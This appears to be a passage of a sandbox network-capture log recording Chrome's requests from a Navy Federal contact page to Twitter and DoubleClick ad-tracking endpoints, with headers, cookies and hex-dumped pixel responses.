guest_id_marketing=v1%3A171659076476233977; guest_id_ads=v1%3A171659076476233977; guest_id=v1%3A171659076476233977
2024-05-24 22:46:42 UTC	400	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:41 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: a8b4bcc4f5e75e7f strict-transport-security: max-age=631138519 x-response-time: 5 x-connection-hash: f6f5e57cac807982f2ba616806562a8f5ed9e2880eca782d52fa284fe31515cc connection: close
2024-05-24 22:46:42 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
478	192.168.2.6	50494	104.244.42.5	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:41 UTC	989	OUT	GET /i/adsct?bci=5&eci=2&event_id=4bedbdd9-a18b-4da1-bc9d-77514471ffd6&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=a498954a-ad8e-4ae9-b87e-ceb3e5eecb5d&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: t.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
2024-05-24 22:46:42 UTC	392	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:41 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: 642df63d2c46b9b3 strict-transport-security: max-age=0 x-response-time: 6 x-connection-hash: 70335f6f80a15b74924b357861a0cb8531fac666594658433362218e8436aa55 connection: close
2024-05-24 22:46:42 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
479	192.168.2.6	50498	104.244.42.5	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:42 UTC	924	OUT	GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=5faf904f-3cc2-42e1-80ea-038b2d1a4c98&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=a498954a-ad8e-4ae9-b87e-ceb3e5eecb5d&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: t.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
2024-05-24 22:46:42 UTC	393	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:41 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: 7eacd57e9801054d strict-transport-security: max-age=0 x-response-time: 73 x-connection-hash: a5bbf292360f0a02bd969dc86501b7680a8ddced8b43ad0d0e07fa0cbb64095b connection: close
2024-05-24 22:46:42 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
480	192.168.2.6	50491	142.250.185.166	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:42 UTC	1436	OUT	GET /activityi;dc_pre=CKeZtIevp4YDFZI5BgAd2RgBnQ;src=9749892;type=gener0;cat=conta0;ord=3291343058461;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=834203213;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html? HTTP/1.1 Host: 9749892.fls.doubleclick.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg; _dpm_ses.4d04=*; _dpm_id.4d04=62ee9019-96e3-4db4-9307-4201e701ba8f.1716590761.1.1716590761.1716590761.30350b8a-ca27-426c-b033-4c9e26c0870b
2024-05-24 22:46:42 UTC	663	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:42 GMT Expires: Fri, 24 May 2024 22:46:42 GMT Cache-Control: private, max-age=0 Strict-Transport-Security: max-age=21600 Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-05-24 22:46:42 UTC	727	IN	Data Raw: 33 38 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 22 3e 3c 69 6d 67 20 68 65 69 67 68 74 3d 22 31 22 20 77 69 64 74 68 3d 22 31 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 22 20 61 6c 74 3d 22 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 74 Data Ascii: 389<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><title></title></head><body style="background-color: transparent"><img height="1" width="1" style="display:none;" alt="" src="https://ct
2024-05-24 22:46:42 UTC	185	IN	Data Raw: 34 3b 75 61 6d 62 3d 30 3b 75 61 6d 3d 3b 75 61 70 3d 57 69 6e 64 6f 77 73 3b 75 61 70 76 3d 31 30 2e 30 2e 30 3b 75 61 77 3d 30 3b 70 73 63 64 6c 3d 6e 6f 61 70 69 3b 66 72 6d 3d 30 3b 67 74 6d 3d 34 35 66 65 34 35 6d 30 7a 61 32 30 30 3b 67 63 64 3d 31 33 6c 33 6c 33 6c 33 6c 31 3b 64 6d 61 3d 30 3b 65 70 76 65 72 3d 32 3b 7e 6f 72 65 66 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 6e 61 76 79 66 65 64 65 72 61 6c 2e 6f 72 67 25 32 46 63 6f 6e 74 61 63 74 2d 75 73 2e 68 74 6d 6c 22 2f 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 4;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html"/></body></html>
2024-05-24 22:46:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
481	192.168.2.6	50496	142.250.185.166	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:42 UTC	1438	OUT	GET /activityi;dc_pre=CKCDt4evp4YDFSohBgAdDGcAEg;src=9749892;type=gener0;cat=nfcu_000;ord=7786574454292;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=552065252;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html? HTTP/1.1 Host: 9749892.fls.doubleclick.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg; _dpm_ses.4d04=*; _dpm_id.4d04=62ee9019-96e3-4db4-9307-4201e701ba8f.1716590761.1.1716590761.1716590761.30350b8a-ca27-426c-b033-4c9e26c0870b
2024-05-24 22:46:42 UTC	663	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:42 GMT Expires: Fri, 24 May 2024 22:46:42 GMT Cache-Control: private, max-age=0 Strict-Transport-Security: max-age=21600 Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-05-24 22:46:42 UTC	727	IN	Data Raw: 36 65 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 22 3e 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 62 74 74 72 61 63 6b 2e 63 6f 6d 2f 6a 73 2f 31 35 36 35 34 2f 61 6e 61 6c 79 74 69 63 73 2f 31 2e 30 2f 61 6e 61 6c Data Ascii: 6ef<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><title></title></head><body style="background-color: transparent"><script async src="https://cdn.bttrack.com/js/15654/analytics/1.0/anal
2024-05-24 22:46:42 UTC	1055	IN	Data Raw: 74 2e 6a 73 22 2c 22 75 65 74 71 22 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 61 67 2e 73 69 6d 70 6c 69 2e 66 69 2f 73 69 66 69 74 61 67 2f 36 30 31 30 30 35 66 31 2d 36 33 38 64 2d 34 35 65 33 2d 39 64 32 39 2d 65 30 34 31 36 38 62 62 38 30 62 33 27 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6a 73 2e 61 64 73 72 76 72 2e 6f 72 67 2f 75 70 5f 6c 6f 61 64 65 72 2e 31 2e 31 2e 30 2e 6a 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: t.js","uetq");</script><script async src='https://tag.simpli.fi/sifitag/601005f1-638d-45e3-9d29-e04168bb80b3'></script><script src="https://js.adsrvr.org/up_loader.1.1.0.js" type="text/javascript"></script> <script type="text/javascript">
2024-05-24 22:46:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
482	192.168.2.6	50497	216.58.206.70	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:42 UTC	957	OUT	GET /ddm/activity/src=9749892;dc_pre=CJvvuIevp4YDFQjyOwIdofgLng;type=gener0;cat=nfcu_000;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;npa=;gdpr=$%7BGDPR%7D;gdpr_consent=$%7BGDPR_CONSENT_755%7D;ord=1? HTTP/1.1 Host: ad.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
2024-05-24 22:46:42 UTC	15893	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:42 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Location: https://ad.doubleclick.net/ddm/activity/attribution_src_register;crd=Zmxvb2RsaWdodF9jb25maWdfaWQ6IDk3NDk4OTIKYWR2ZXJ0aXNlcl9kb21haW46ICJodHRwczovL25hdnlmZWRlcmFsLm9yZyIKeGZhX2F0dHJpYnV0aW9uX2ludGVyYWN0aW9uX3R5cGU6IENPTlZFUlNJT04KZGVidWdfa2V5OiA2MjAwNDIwNDA0NDQ5MzM5NjQ5CmN0Y19jb252ZXJzaW9uX2J1Y2tldDogMgphcmNoZXR5cGVfaWQ6IDEyCmFyY2hldHlwZV9pZDogMTMKYXJjaGV0eXBlX2lkOiAxNAphcmNoZXR5cGVfaWQ6IDE1CmFyY2hldHlwZV9pZDogMTYKYXJjaGV0eXBlX2lkOiAxNwphcmNoZXR5cGVfaWQ6IDE4CmFyY2hldHlwZV9pZDogMTkKYXJjaGV0eXBlX2lkOiAyMAphcmNoZXR5cGVfaWQ6IDIxCmFyY2hldHlwZV9pZDogNjI4NzI4Mzg4CmFyY2hldHlwZV9pZDogNjI4NzI4Mzg5CmFyY2hldHlwZV9pZDogNjI4NzI4MzkwCmFyY2hldHlwZV9pZDogNjI4NzI4MzkxCmFyY2hldHlwZV9pZDogNjI4NzA2MTgwCmFyY2hldHlwZV9pZDogNjI4NzA2MTgxCmFyY2hldHlwZV9pZDogNjI4NzA2MTgyCmFyY2hldHlwZV9pZDogNjI4NzA2MTgzCmFyY2hldHlwZV9pZDogNjI4Nzc0MDUyCmFyY2hldHlwZV9pZDogNjI4Nzc0MDUzCmFyY2hldHlwZV9pZDogNjI4Nzc0MDU0CmFyY2hldHlwZV9pZDogNjI4Nzc0MDU1CmFyY2hldHlwZV9pZDogNjI4NzkwNjA4CmFyY2hldHlwZV9pZDogNjI4NzkwNjA5CmFyY2hldHlwZV9pZDogNjI4NzkwNjEwCmFyY [TRUNCATED] Attribution-Reporting-Register-Trigger: {"aggregatable_deduplication_keys":[{"deduplication_key":"10152961480738975038"}],"aggregatable_trigger_data":[{"filters":[{"14":["13886426"]}],"key_piece":"0x3207ccec6325b791","source_keys":["12","13","14","15","16","17","18","19","20","21","628513680","628513681","628513682","628513683","628706180","628706181","628706182","628706183","628728388","628728389","628728390","628728391","628774052","628774053","628774054","628774055","628790608","628790609","628790610","628790611","628853860","628853861","628853862","628853863"]},{"key_piece":"0xefcb4e53dca91529","not_filters":{"14":["13886426"]},"source_keys":["12","13","14","15","16","17","18","19","20","21","628513680","628513681","628513682","628513683","628706180","628706181","628706182","628706183","628728388","628728389","628728390","628728391","628774052","628774053","628774054","628774055","628790608","628790609","628790610","628790611","628853860","628853861","628853862","628853863"]}],"aggregatable_values":{"12": [TRUNCATED] Content-Type: image/png Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: ar_debug=1; expires=Sun, 23-Jun-2024 22:46:42 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
483	192.168.2.6	50499	104.244.42.67	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:42 UTC	1061	OUT	GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=5faf904f-3cc2-42e1-80ea-038b2d1a4c98&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=a498954a-ad8e-4ae9-b87e-ceb3e5eecb5d&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: analytics.twitter.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; guest_id_marketing=v1%3A171659076476233977; guest_id_ads=v1%3A171659076476233977; guest_id=v1%3A171659076476233977
2024-05-24 22:46:42 UTC	401	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:41 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: a34897873e1542f7 strict-transport-security: max-age=631138519 x-response-time: 89 x-connection-hash: a3dbe2b42543b49197202b738e70de62f432964963d96be4ea69163822b2a75c connection: close
2024-05-24 22:46:42 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
484	192.168.2.6	50502	104.244.42.67	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:42 UTC	1061	OUT	GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=25e4b724-6d5f-4933-a100-c8e78bf75229&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=a498954a-ad8e-4ae9-b87e-ceb3e5eecb5d&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: analytics.twitter.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; guest_id_marketing=v1%3A171659076476233977; guest_id_ads=v1%3A171659076476233977; guest_id=v1%3A171659076476233977
2024-05-24 22:46:42 UTC	401	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:42 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: 3233b09d6fe7561d strict-transport-security: max-age=631138519 x-response-time: 10 x-connection-hash: 2a3fbbbcc5253b3124b990b20fa9a829d9bca8d2a839fbbcc5897129d17dd3fd connection: close
2024-05-24 22:46:42 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
485	192.168.2.6	50501	104.244.42.5	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:42 UTC	924	OUT	GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=25e4b724-6d5f-4933-a100-c8e78bf75229&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=a498954a-ad8e-4ae9-b87e-ceb3e5eecb5d&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: t.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
2024-05-24 22:46:42 UTC	393	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:42 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: 698d3928da8cf474 strict-transport-security: max-age=0 x-response-time: 80 x-connection-hash: acc992ea53ddb7b185fb5d044e8e03ed4a89f018c835cee48435056bde6d9237 connection: close
2024-05-24 22:46:42 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
486	192.168.2.6	50503	104.244.42.5	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:42 UTC	989	OUT	GET /i/adsct?bci=5&eci=2&event_id=8fad9e17-f0ed-4f21-a9c5-07970eb80917&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=a498954a-ad8e-4ae9-b87e-ceb3e5eecb5d&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: t.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
